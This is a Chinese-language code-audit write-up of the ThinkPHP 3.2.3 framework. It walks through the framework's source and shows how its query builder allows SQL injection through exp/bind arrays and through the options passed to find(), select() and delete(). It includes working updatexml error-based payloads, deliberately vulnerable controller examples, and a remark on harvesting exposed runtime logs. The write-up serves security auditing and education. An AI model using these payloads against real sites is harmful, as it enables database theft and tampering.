参考链接
ThinkPHP3.2.3完整版
总结ThinkPHP v3的代码审计方法
敏信审计系列之THINKPHP3.2开发框架
Thinkphp多个版本注入分析
水文-Thinkphp3.2.3安全开发须知
cms组成
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
|
├─Application 项目目录
│ ├─Common 公共模块
│ │ ├─Common
│ │ └─Conf
│ ├─Home 前台模块
│ │ ├─Common 公共函数
│ │ ├─Conf 配置文件
│ │ ├─Controller 控制器
│ │ ├─Model 模型
│ │ └─View 视图
│ └─Runtime
│ ├─Cache
│ │ └─Home
│ ├─Data
│ ├─Logs
│ │ └─Home
│ └─Temp
├─Public 资源文件目录
└─ThinkPHP 框架目录
├─Common
├─Conf
├─Lang
├─Library
│ ├─Behavior
│ ├─Org
│ │ ├─Net
│ │ └─Util
│ ├─Think
│ │ ├─Cache
│ │ │ └─Driver
│ │ ├─Controller
│ │ ├─Crypt
│ │ │ └─Driver
│ │ ├─Db
│ │ │ └─Driver
│ │ ├─Image
│ │ │ └─Driver
│ │ ├─Log
│ │ │ └─Driver
│ │ ├─Model
│ │ ├─Session
│ │ │ └─Driver
│ │ ├─Storage
│ │ │ └─Driver
│ │ ├─Template
│ │ │ ├─Driver
│ │ │ └─TagLib
│ │ ├─Upload
│ │ │ └─Driver
│ │ │ ├─Bcs
│ │ │ └─Qiniu
│ │ └─Verify
│ │ ├─bgs
│ │ ├─ttfs
│ │ └─zhttfs
│ └─Vendor
│ ├─Boris
│ ├─EaseTemplate
│ ├─Hprose
│ ├─jsonRPC
│ ├─phpRPC
│ │ ├─dhparams
│ │ └─pecl
│ │ └─xxtea
│ │ └─test
│ ├─SmartTemplate
│ ├─Smarty
│ │ ├─plugins
│ │ └─sysplugins
│ ├─spyc
│ │ ├─examples
│ │ ├─php4
│ │ └─tests
│ └─TemplateLite
│ └─internal
├─Mode
│ ├─Api
│ ├─Lite
│ └─Sae
└─Tpl
|
在Application\Runtime\Logs\Home
中含有thinkphp的运行日志,运行日志放置在网站部署目录下,直接暴露于外部,可以让攻击者获取运行日志并进行分析
日志命名格式为年_月_日.log
,因此可以编写脚本进行批量获取
作为一个mvc框架的cms,重点应该关注项目目录即Application
(但是可以被设置成其他目录)
模型:封装与应用程序的业务逻辑相关的数据以及对数据的处理方法
视图:数据显示
控制器:处理用户交互,从视图读取数据,向模型发送数据,也是主要审计的点
参数传递
除了使用传统的$_GET
和$_POST
外,thinkphp新增了一个I
方法(function I
),用于安全地获取用户输入
使用方法如下
1
2
3
|
1. I('id',0); 获取id参数 自动判断get或者post
2. I('post.name','','htmlspecialchars'); 获取$_POST['name']并使用htmlspecialchars进行过滤
3. I('get.'); 获取$_GET
|
ThinkPHP/Common/functions.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
|
/**
* 获取输入参数 支持过滤和默认值
* 使用方法:
* <code>
* I('id',0); 获取id参数 自动判断get或者post
* I('post.name','','htmlspecialchars'); 获取$_POST['name']
* I('get.'); 获取$_GET
* </code>
* @param string $name 变量的名称 支持指定类型
* @param mixed $default 不存在的时候默认值
* @param mixed $filter 参数过滤方法
* @param mixed $datas 要获取的额外数据源
* @return mixed
*/
function I($name,$default='',$filter=null,$datas=null) {
static $_PUT = null;
if(strpos($name,'/')){ // 指定修饰符
list($name,$type) = explode('/',$name,2);// name/s => array('name','s') => $name='name' $type=s 字符串
}elseif(C('VAR_AUTO_STRING')){ // 默认强制转换为字符串
$type = 's';
}
if(strpos($name,'.')) { // 指定参数来源
list($method,$name) = explode('.',$name,2);// get.a => $method=get $name=a
}else{ // 默认为自动判断
$method = 'param';
}
switch(strtolower($method)) {
case 'get' :
$input =& $_GET;
break;
case 'post' :
$input =& $_POST;
break;
case 'put' :
if(is_null($_PUT)){
parse_str(file_get_contents('php://input'), $_PUT);
}
$input = $_PUT;
break;
case 'param' :
switch($_SERVER['REQUEST_METHOD']) {
case 'POST':
$input = $_POST;
break;
case 'PUT':
if(is_null($_PUT)){
parse_str(file_get_contents('php://input'), $_PUT);
}
$input = $_PUT;
break;
default:
$input = $_GET;
}
break;
case 'path' :
$input = array();
if(!empty($_SERVER['PATH_INFO'])){
$depr = C('URL_PATHINFO_DEPR');
$input = explode($depr,trim($_SERVER['PATH_INFO'],$depr));
}
break;
case 'request' :
$input =& $_REQUEST;
break;
case 'session' :
$input =& $_SESSION;
break;
case 'cookie' :
$input =& $_COOKIE;
break;
case 'server' :
$input =& $_SERVER;
break;
case 'globals' :
$input =& $GLOBALS;
break;
case 'data' :
$input =& $datas;
break;
default:
return null;
}
if(''==$name) { // 获取全部变量
$data = $input;
$filters = isset($filter)?$filter:C('DEFAULT_FILTER');//默认情况下为 htmlspecialchars
if($filters) {
if(is_string($filters)){
$filters = explode(',',$filters);
}
foreach($filters as $filter){
$data = array_map_recursive($filter,$data); // 参数过滤
}
}
}elseif(isset($input[$name])) { // 取值操作
$data = $input[$name];
$filters = isset($filter)?$filter:C('DEFAULT_FILTER');
if($filters) {
if(is_string($filters)){
if(0 === strpos($filters,'/')){
if(1 !== preg_match($filters,(string)$data)){
// 支持正则验证
return isset($default) ? $default : null;
}
}else{
$filters = explode(',',$filters);
}
}elseif(is_int($filters)){
$filters = array($filters);
}
if(is_array($filters)){
foreach($filters as $filter){
if(function_exists($filter)) {
$data = is_array($data) ? array_map_recursive($filter,$data) : $filter($data); // 参数过滤
}else{
$data = filter_var($data,is_int($filter) ? $filter : filter_id($filter));
if(false === $data) {
return isset($default) ? $default : null;
}
}
}
}
}
if(!empty($type)){
switch(strtolower($type)){
case 'a': // 数组
$data = (array)$data;
break;
case 'd': // 数字
$data = (int)$data;
break;
case 'f': // 浮点
$data = (float)$data;
break;
case 'b': // 布尔
$data = (boolean)$data;
break;
case 's': // 字符串
default:
$data = (string)$data;
}
}
}else{ // 变量默认值
$data = isset($default)?$default:null;
}
is_array($data) && array_walk_recursive($data,'think_filter');
return $data;
}
function think_filter(&$value){
// TODO 其他安全过滤
// 过滤查询特殊字符
if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
$value .= ' ';
}
}
|
其他快捷方法
ThinkPHP/Common/functions.php
D
方法用于实例化模型类
M
方法用于实例化没有模型文件的Model
C
方法用于读取配置
在Application/Home/Model/UserModel.class.php
中写入
1
2
3
4
5
6
7
|
<?php
namespace Home\Model;
use Think\Model;
class UserModel extends Model
{
public $a='asdf';
}
|
在Application/Home/Controller/IndexController.class.php
中写入
1
2
3
4
5
6
7
8
9
10
11
12
13
|
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
$User=new \Home\Model\UserModel();
var_dump($User->a);
$User=D('User');//等价于 $User=new \Home\Model\UserModel();
var_dump($User->a);
$User=M('User');//等价于 $User=new \Think\Model('User');
var_dump($User->a);
}
}
|
1
2
3
|
C:\phpstudy_pro\WWW\thinkphp_3.2.3\Application\Home\Controller\IndexController.class.php:7:string 'asdf' (length=4)
C:\phpstudy_pro\WWW\thinkphp_3.2.3\Application\Home\Controller\IndexController.class.php:9:string 'asdf' (length=4)
C:\phpstudy_pro\WWW\thinkphp_3.2.3\Application\Home\Controller\IndexController.class.php:11:null
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
/**
* 实例化模型类 格式 [资源://][模块/]模型
* @param string $name 资源地址
* @param string $layer 模型层名称
* @return Think\Model
*/
function D($name='',$layer='') {
if(empty($name)) return new Think\Model;
static $_model = array();
$layer = $layer? : C('DEFAULT_M_LAYER');
if(isset($_model[$name.$layer]))
return $_model[$name.$layer];
$class = parse_res_name($name,$layer);//导入类库
if(class_exists($class)) {
$model = new $class(basename($name));
}elseif(false === strpos($name,'/')){
// 自动加载公共模块下面的模型
if(!C('APP_USE_NAMESPACE')){
import('Common/'.$layer.'/'.$class);
}else{
$class = '\\Common\\'.$layer.'\\'.$name.$layer;
}
$model = class_exists($class)? new $class($name) : new Think\Model($name);
}else {
Think\Log::record('D方法实例化没找到模型类'.$class,Think\Log::NOTICE);
$model = new Think\Model(basename($name));
}
$_model[$name.$layer] = $model;
return $model;
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
/**
* 实例化一个没有模型文件的Model
* @param string $name Model名称 支持指定基础模型 例如 MongoModel:User
* @param string $tablePrefix 表前缀
* @param mixed $connection 数据库连接信息
* @return Think\Model
*/
function M($name='', $tablePrefix='',$connection='') {
static $_model = array();
if(strpos($name,':')) {
list($class,$name) = explode(':',$name);
}else{
$class = 'Think\\Model';
}
$guid = (is_array($connection)?implode('',$connection):$connection).$tablePrefix . $name . '_' . $class;
if (!isset($_model[$guid]))
$_model[$guid] = new $class($name,$tablePrefix,$connection);
return $_model[$guid];
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
/**
* 获取和设置配置参数 支持批量定义
* @param string|array $name 配置变量
* @param mixed $value 配置值
* @param mixed $default 默认值
* @return mixed
*/
function C($name=null, $value=null,$default=null) {
static $_config = array();
// 无参数时获取所有
if (empty($name)) {
return $_config;
}
// 优先执行设置获取或赋值
if (is_string($name)) {
if (!strpos($name, '.')) {
$name = strtoupper($name);
if (is_null($value))
return isset($_config[$name]) ? $_config[$name] : $default;
$_config[$name] = $value;
return null;
}
// 二维数组设置和获取支持
$name = explode('.', $name);
$name[0] = strtoupper($name[0]);
if (is_null($value))
return isset($_config[$name[0]][$name[1]]) ? $_config[$name[0]][$name[1]] : $default;
$_config[$name[0]][$name[1]] = $value;
return null;
}
// 批量设置
if (is_array($name)){
$_config = array_merge($_config, array_change_key_case($name,CASE_UPPER));
return null;
}
return null; // 避免非法参数
}
|
实例化一个空模型类即可进行sql查询
1
2
3
4
5
6
7
8
|
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
$m = M();//$m = new Model();
$m->query('select user();');
}
}
|
sql注入
双引号包裹导致变量被直接解析
严格来说,这个漏洞产生的原因在于开发者没有正确地使用框架
1
2
3
4
5
6
7
8
9
10
|
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
$User = M("user");
$name = I('GET.name');
$res = $User->field('id,username,password')->where("username='$name'")->select();
}
}
|
默认情况下I
方法只会对参数进行htmlspecialchars
即html编码,不会进行如addslashes
等操作
而在Model.class.php
的where
方法中,在parse
没有设置的情况下,不会进行escapeString
操作
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
/**
* 指定查询条件 支持安全过滤
* @access public
* @param mixed $where 条件表达式
* @param mixed $parse 预处理参数
* @return Model
*/
public function where($where,$parse=null){
if(!is_null($parse) && is_string($where)) {
if(!is_array($parse)) {
$parse = func_get_args();
array_shift($parse);
}
$parse = array_map(array($this->db,'escapeString'),$parse);//addslashes
$where = vsprintf($where,$parse);
}elseif(is_object($where)){
$where = get_object_vars($where);
}
if(is_string($where) && '' != $where){
$map = array();
$map['_string'] = $where;
$where = $map;
}
if(isset($this->options['where'])){
$this->options['where'] = array_merge($this->options['where'],$where);
}else{
$this->options['where'] = $where;
}
return $this;
}
|
1
2
3
4
5
6
7
8
9
10
|
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
$User = M("user");
$name = I('GET.name');
$res = $User->field('id,username,password')->where("username='%s'",$name)->select();
}
}
|
还可以使用array("username"=>$name)
进行传参,在$this->parseWhere(!empty($options['where'])?$options['where']:''),
进行参数处理并进行escapeString
操作,具体流程如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
|
#ThinkPHP/Library/Think/Model.class.php
//$this->options['where'] = $where;
public function select($options=array()) {
$options = $this->_parseOptions($options);//$this->options 转化为 $options
...
$resultSet = $this->db->select($options);
...
}
#ThinkPHP/Library/Think/Db/Driver.class.php
public function select($options=array()) {
$this->model = $options['model'];
$this->parseBind(!empty($options['bind'])?$options['bind']:array());
$sql = $this->buildSelectSql($options);
$result = $this->query($sql,!empty($options['fetch_sql']) ? true : false);
return $result;
}
public function buildSelectSql($options=array()) {
...
$sql = $this->parseSql($this->selectSql,$options);
}
/**
* 替换SQL语句中表达式
* @access public
* @param array $options 表达式
* @return string
*/
public function parseSql($sql,$options=array()){
$sql = str_replace(
array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%LOCK%','%COMMENT%','%FORCE%'),
array(
$this->parseTable($options['table']),
$this->parseDistinct(isset($options['distinct'])?$options['distinct']:false),
$this->parseField(!empty($options['field'])?$options['field']:'*'),
$this->parseJoin(!empty($options['join'])?$options['join']:''),
$this->parseWhere(!empty($options['where'])?$options['where']:''),//对where语句进行分析
$this->parseGroup(!empty($options['group'])?$options['group']:''),
$this->parseHaving(!empty($options['having'])?$options['having']:''),
$this->parseOrder(!empty($options['order'])?$options['order']:''),
$this->parseLimit(!empty($options['limit'])?$options['limit']:''),
$this->parseUnion(!empty($options['union'])?$options['union']:''),
$this->parseLock(isset($options['lock'])?$options['lock']:false),
$this->parseComment(!empty($options['comment'])?$options['comment']:''),
$this->parseForce(!empty($options['force'])?$options['force']:'')
),$sql);
return $sql;
}
protected function parseWhere($where) {
foreach ($where as $key=>$val){
if(0===strpos($key,'_')) {
// 解析特殊条件表达式
$whereStr .= $this->parseThinkWhere($key,$val);//查询条件判断
}
else{
// 查询字段的安全过滤
$multi = is_array($val) && isset($val['_multi']);
$key = trim($key);
...
$whereStr .= $this->parseWhereItem($this->parseKey($key),$val);//parseWhereItem where子单元分析 / parseKey 字段和表名处理 column_name -> `column_name`
}
}
protected function parseWhereItem($key,$val) {
$whereStr = '';
if(is_array($val)) {
if(is_string($val[0])) {
$exp = strtolower($val[0]);
if(preg_match('/^(eq|neq|gt|egt|lt|elt)$/',$exp)) { // 比较运算
...$this->parseValue($val[1]);
}elseif(preg_match('/^(notlike|like)$/',$exp)){// 模糊查找
if(is_array($val[1])) {
$likeLogic = isset($val[2])?strtoupper($val[2]):'OR';
if(in_array($likeLogic,array('AND','OR','XOR'))){
$like = array();
foreach ($val[1] as $item){
$like[] = ...$this->parseValue($item);
}
$whereStr .= '('.implode(' '.$likeLogic.' ',$like).')';
}
}else{
$whereStr .= ...$this->parseValue($val[1]);
}
}elseif('bind' == $exp ){ // 使用表达式
$whereStr .= $key.' = :'.$val[1]; # !!! 可能存在利用点,因为没有进行parseValue
}elseif('exp' == $exp ){ // 使用表达式
$whereStr .= $key.' '.$val[1]; # !!! 可能存在利用点,因为没有进行parseValue
}elseif(preg_match('/^(notin|not in|in)$/',$exp)){ // IN 运算
if(isset($val[2]) && 'exp'==$val[2]) {
$whereStr .= $key.' '.$this->exp[$exp].' '.$val[1]; # !!! 可能存在利用点,因为没有进行parseValue
}else{
...
}
}elseif(preg_match('/^(notbetween|not between|between)$/',$exp)){ // BETWEEN运算
...
}else{
E(L('_EXPRESS_ERROR_').':'.$val[0]);
}
}else {
$count = count($val);
$rule = isset($val[$count-1]) ? (is_array($val[$count-1]) ? strtoupper($val[$count-1][0]) : strtoupper($val[$count-1]) ) : '' ;
if(in_array($rule,array('AND','OR','XOR'))) {
$count = $count -1;
}else{
$rule = 'AND';
}
for($i=0;$i<$count;$i++) {
$data = is_array($val[$i])?$val[$i][1]:$val[$i];
if('exp'==strtolower($val[$i][0])) {
$whereStr .= $key.' '.$data.' '.$rule.' '; # !!! 可能存在利用点,因为没有进行parseValue
}else{
$whereStr .= $this->parseWhereItem($key,$val[$i]).' '.$rule.' ';
}
}
$whereStr = '( '.substr($whereStr,0,-4).' )';
}
}else {
//对字符串类型字段采用模糊匹配
$likeFields = $this->config['db_like_fields'];
if($likeFields && preg_match('/^('.$likeFields.')$/i',$key)) {
$whereStr .= $key.' LIKE '.$this->parseValue('%'.$val.'%');
}else {
$whereStr .= $key.' = '.$this->parseValue($val);
}
}
return $whereStr;
}
protected function parseValue($value) {
if(is_string($value)) {
$value = strpos($value,':') === 0 && in_array($value,array_keys($this->bind))? $this->escapeString($value) : '\''.$this->escapeString($value).'\'';//escapeString -> addslashes
}elseif(isset($value[0]) && is_string($value[0]) && strtolower($value[0]) == 'exp'){
$value = $this->escapeString($value[1]);
}elseif(is_array($value)) {
$value = array_map(array($this, 'parseValue'),$value);
}elseif(is_bool($value)){
$value = $value ? '1' : '0';
}elseif(is_null($value)){
$value = 'null';
}
return $value;
}
|
bind注入
前面提到在ThinkPHP/Library/Think/Db/Driver.class.php
的parseWhereItem
函数中,满足某些条件时可以绕过parseValue
的addslashes
处理
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
elseif('bind' == $exp ){ // 使用表达式
$whereStr .= $key.' = :'.$val[1]; # !!! 可能存在利用点,因为没有进行parseValue
}elseif('exp' == $exp ){ // 使用表达式
$whereStr .= $key.' '.$val[1]; # !!! 可能存在利用点,因为没有进行parseValue
}
...
$count = count($val);
$rule = isset($val[$count-1]) ? (is_array($val[$count-1]) ? strtoupper($val[$count-1][0]) : strtoupper($val[$count-1]) ) : '' ;
if(in_array($rule,array('AND','OR','XOR'))) {
$count = $count -1;
}else{
$rule = 'AND';
}
for($i=0;$i<$count;$i++) {
$data = is_array($val[$i])?$val[$i][1]:$val[$i];
if('exp'==strtolower($val[$i][0])) {
$whereStr .= $key.' '.$data.' '.$rule.' '; # !!! 可能存在利用点,因为没有进行parseValue
}
}
|
传入name[]=exp
或者name[][]=exp
,debug时会发现字符串exp
会在后面增加一个空格
原因在于前面提到的I
的方法的特殊处理,在I
方法的最后调用了think_filter
这一过滤函数,在敏感词的后面加了一个空格
这里有两种处理方法
- 不使用
I
方法获取参数,直接使用$_GET
进行获取
$name = $_GET['name'];
name[]=exp&name[]==1 and updatexml(1,concat(0x7e,(select @@version),0x7e),1)
- 绕过
think_filter
限制
注意到在parseWhereItem
函数是会对bind
进行特殊处理的,但是think_filter
没有对bind
进行过滤,由此当name[]=bind
时,可以将数据
1
2
3
4
5
6
7
8
9
10
11
12
|
is_array($data) && array_walk_recursive($data,'think_filter');
return $data;
}
function think_filter(&$value){
// TODO 其他安全过滤
// 过滤查询特殊字符
if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
$value .= ' ';
}
}
|
最终得到的wherestr
为
由于=:
的存在,这玩意用来引用绑定变量,我们要消除:
对于sql语句的影响
- 使用
save
方法
thinkphp将update操作封装在save
方法中
1
2
3
4
5
6
7
8
9
10
11
|
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
$User = M("user");
$name = I('GET.name');
$data['password'] = '123456';
$res = $User->where(array('username'=>$name))->save($data);
}
}
|
name[]=bind&name[]=0 and updatexml(1,concat(0x7e,(select @@version),0x7e),1)
save
方法同样会调用parseWhere
并进入到parseWhereItem
中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
#ThinkPHP/Library/Think/Model.class.php
public function save($data='',$options=array()) {
...
if(is_array($options['where']) && isset($options['where'][$pk])){
$pkValue = $options['where'][$pk];
}
if(false === $this->_before_update($data,$options)) {
return false;
}
$result = $this->db->update($data,$options);
if(false !== $result && is_numeric($result)) {
if(isset($pkValue)) $data[$pk] = $pkValue;
$this->_after_update($data,$options);
}
return $result;
}
#ThinkPHP/Library/Think/Db/Driver.class.php
public function update($data,$options) {
$this->model = $options['model'];
$this->parseBind(!empty($options['bind'])?$options['bind']:array());
$table = $this->parseTable($options['table']);
$sql = 'UPDATE ' . $table . $this->parseSet($data); //关键点1
if(strpos($table,',')){// 多表更新支持JOIN操作
$sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
}
$sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');//关键点2
if(!strpos($table,',')){
// 单表更新支持order和lmit
$sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'').$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
}
$sql .= $this->parseComment(!empty($options['comment'])?$options['comment']:'');
return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);//关键点3
}
|
首先在parseSet
对=:
进行解析
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
#ThinkPHP/Library/Think/Db/Driver.class.php
protected function parseSet($data) {
foreach ($data as $key=>$val){
if(is_array($val) && 'exp' == $val[0]){
$set[] = $this->parseKey($key).'='.$val[1];
}elseif(is_null($val)){
$set[] = $this->parseKey($key).'=NULL';
}elseif(is_scalar($val)) {// 过滤非标量数据
if(0===strpos($val,':') && in_array($val,array_keys($this->bind)) ){
$set[] = $this->parseKey($key).'='.$this->escapeString($val);
}else{
$name = count($this->bind);
$set[] = $this->parseKey($key).'=:'.$name;
$this->bindParam($name,$val);
}
}
}
return ' SET '.implode(',',$set);
}
#ThinkPHP/Library/Think/Db/Driver.class.php
protected function bindParam($name,$value){
$this->bind[':'.$name] = $value;
}
|
然后进行parseWhereItem
操作
此时wherestr
的值为
1
|
`username` = :0 and updatexml(1,concat(0x7e,(select @@version),0x7e),1)
|
在返回到parseWhere
后得到的wherestr
为
1
|
WHERE `username` = :0 and updatexml(1,concat(0x7e,(select @@version),0x7e),1)
|
此时$sql
为
1
|
UPDATE `user` SET `password`=:0 WHERE `username` = :0 and updatexml(1,concat(0x7e,(select @@version),0x7e),1)
|
最后进入到execute
函数中
1
2
3
4
5
6
7
8
9
10
|
public function execute($str,$fetchSql=false) {
...
if(!empty($this->bind)){
$that = $this;
$this->queryStr = strtr($this->queryStr,array_map(function($val) use($that){ return '\''.$that->escapeString($val).'\''; },$this->bind));
}
...
}
|
bind=array(':0'=>'123456')
首先通过array_map
对bind
数组的每个元素进行addslashes
操作,然后利用strtr
对$this->queryStr
进行替换(:0
被替换成123456
)
由此造成了sql注入
- 使用
delete
方法
这个利用方法比较奇怪…
查找parseWhere
的用法,除了update
方法外,还有delete
方法对其进行调用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
public function delete($options=array()) {
$this->model = $options['model'];
$this->parseBind(!empty($options['bind'])?$options['bind']:array());
$table = $this->parseTable($options['table']);
$sql = 'DELETE FROM '.$table;
if(strpos($table,',')){// 多表删除支持USING和JOIN操作
if(!empty($options['using'])){
$sql .= ' USING '.$this->parseTable($options['using']).' ';
}
$sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
}
$sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
if(!strpos($table,',')){
// 单表删除支持order和limit
$sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'')
.$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
}
$sql .= $this->parseComment(!empty($options['comment'])?$options['comment']:'');
return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
}
|
但由于parseSet
在delete
方法中不存在,因此这里需要手动添加bind
1
2
3
4
5
6
7
8
9
10
11
|
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
$User = M("user");
$name = I('GET.name');
$data['password']='123456';
$res = $User->where(array('username'=>$name))->bind($data)->delete();
}
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
/**
* 参数绑定
* @access public
* @param string $key 参数名
* @param mixed $value 绑定的变量及绑定参数
* @return Model
*/
public function bind($key,$value=false) {
if(is_array($key)){
$this->options['bind'] = $key;
}else{
$num = func_num_args();
if($num>2){
$params = func_get_args();
array_shift($params);
$this->options['bind'][$key] = $params;
}else{
$this->options['bind'][$key] = $value;
}
}
return $this;
}
|
name[]=bind&name[]=password and updatexml(1,concat(0x7e,(select @@version),0x7e),1)
thinkphp构造出的sql语句为
1
|
DELETE FROM `user` WHERE `username` = :'123456' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)
|
实际执行语句为
1
|
DELETE FROM `user` WHERE `username` = '123456' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)
|
find() select() delete()注入
find() select() delete()
这三个函数的参数中均有$options
,且在满足一定条件时可以直接拼接到sql语句中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
|
/**
* 查询数据
* @access public
* @param mixed $options 表达式参数
* @return mixed
*/
public function find($options=array()) {
...
// 总是查找一条记录
$options['limit'] = 1;
// 分析表达式
$options = $this->_parseOptions($options);//$options可控并传递到$this->db->select中
...
$resultSet = $this->db->select($options);//跟前面的分析过程一样,进入parseWhere,同时因为$options['where']是字符串,所以直接进行拼接并返回,最终传入到$this->db->query中
...
}
/**
* 查询数据集
* @access public
* @param array $options 表达式参数
* @return mixed
*/
public function select($options=array()) {//利用方法同find()
...
// 分析表达式
$options = $this->_parseOptions($options);
...
$resultSet = $this->db->select($options);
...
}
/**
* 删除数据
* @access public
* @param mixed $options 表达式
* @return mixed
*/
public function delete($options=array()) {
...
// 分析表达式
$options = $this->_parseOptions($options);
if(is_array($options['where']) && isset($options['where'][$pk])){
$pkValue = $options['where'][$pk];
}
if(false === $this->_before_delete($options)) {
return false;
}
$result = $this->db->delete($options);
...
}
protected function _parseOptions($options=array()) {//当$options['where']是字符串时,直接返回
if(is_array($options))
$options = array_merge($this->options,$options);
// 字段类型验证
if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {
// 对数组查询条件进行字段类型检查
...
}
return $options;
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
|
public function select($options=array()) {
$this->model = $options['model'];
$this->parseBind(!empty($options['bind'])?$options['bind']:array());
$sql = $this->buildSelectSql($options);
$result = $this->query($sql,!empty($options['fetch_sql']) ? true : false);
return $result;
}
public function buildSelectSql($options=array()) {
...
$sql = $this->parseSql($this->selectSql,$options);
return $sql;
}
public function parseSql($sql,$options=array()){
$sql = str_replace(
array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%LOCK%','%COMMENT%','%FORCE%'),
array(
...
$this->parseWhere(!empty($options['where'])?$options['where']:''),
...
),$sql);
return $sql;
}
protected function parseWhere($where) {
$whereStr = '';
if(is_string($where)) {
// 直接使用字符串条件
$whereStr = $where;
}
return empty($whereStr)?'':' WHERE '.$whereStr;
}
public function delete($options=array()) {
$this->model = $options['model'];
$this->parseBind(!empty($options['bind'])?$options['bind']:array());
$table = $this->parseTable($options['table']);
$sql = 'DELETE FROM '.$table;
if(strpos($table,',')){// 多表删除支持USING和JOIN操作
if(!empty($options['using'])){
$sql .= ' USING '.$this->parseTable($options['using']).' ';
}
$sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
}
$sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
if(!strpos($table,',')){
// 单表删除支持order和limit
$sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'')
.$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
}
$sql .= $this->parseComment(!empty($options['comment'])?$options['comment']:'');
return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
}
|
- find()
1
2
3
4
5
6
7
8
9
10
|
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
$User = M("user"); // 实例化User对象
$name = I('GET.name');
$User->find($name);
}
}
|
name[where]=updatexml(1,concat(0x7e,(select @@version),0x7e),1)%23
- select()
1
2
3
4
5
6
7
8
9
10
|
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
$User = M("user"); // 实例化User对象
$name = I('GET.name');
$User->select($name);
}
}
|
- delete()
1
2
3
4
5
6
7
8
9
10
|
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
$User = M("user"); // 实例化User对象
$name = I('GET.name');
$User->delete($name);
}
}
|
